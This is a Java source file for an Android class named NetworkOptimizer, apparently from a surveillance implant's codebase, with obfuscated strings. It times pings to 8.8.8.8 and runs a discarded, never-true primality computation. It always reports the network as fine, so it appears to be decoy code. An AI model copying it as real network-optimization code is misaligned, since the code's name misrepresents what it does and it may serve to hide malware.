package com.android.dvci.optimize; import java.math.BigInteger; import java.net.InetAddress; import android.content.Context; import android.util.Log; import android.widget.Toast; import com.android.dvci.auto.Cfg; import com.android.dvci.util.Utils; import com.android.mm.M; public class NetworkOptimizer { private Context context; private volatile boolean stop = false; private long BeforeTime; public NetworkOptimizer(Context context) { this.context = context; } public void start(int pause) { stop = false; if(pause < 1000 || pause > 10000){ pause = 1001; } while (!stop) { Utils.sleep(pause); if (isNotOptimized()) { Toast toast = Toast.makeText(context, M.e("Error"), Toast.LENGTH_LONG); toast.show(); }else{ if(Cfg.DEBUG) { Log.d("NET", "OK"); } } } } private boolean isNotOptimized() { final String host = M.e("8.8.8.8"); final int timeOut = 3000; Thread thread = new Thread(new Runnable() { @Override public void run() { try { int numthread = 5; long[] time = new long[numthread]; boolean reachable; for (int i = 0; i < numthread; i++) { BeforeTime = System.currentTimeMillis(); reachable = InetAddress.getByName(host).isReachable(timeOut); long AfterTime = System.currentTimeMillis(); Long TimeDifference = AfterTime - BeforeTime; time[i] = TimeDifference; } getResults(time); } catch (Exception e) { e.printStackTrace(); } } }); thread.start(); Utils.sleep(10000); return false; } public static boolean getResults(long[] time) { int acc = 0; for (long l : time) { acc += l; } if (acc > 0 && acc < 1024 * 64) { BigInteger s = BigInteger.valueOf(4); BigInteger m = BigInteger.valueOf(2).pow(acc).subtract(BigInteger.ONE); for (int k = 0; k < acc; k++) s = s.multiply(s).mod(m); return s.equals(BigInteger.ZERO.subtract(BigInteger.ONE)); } return false; } public void stop() { stop = true; } }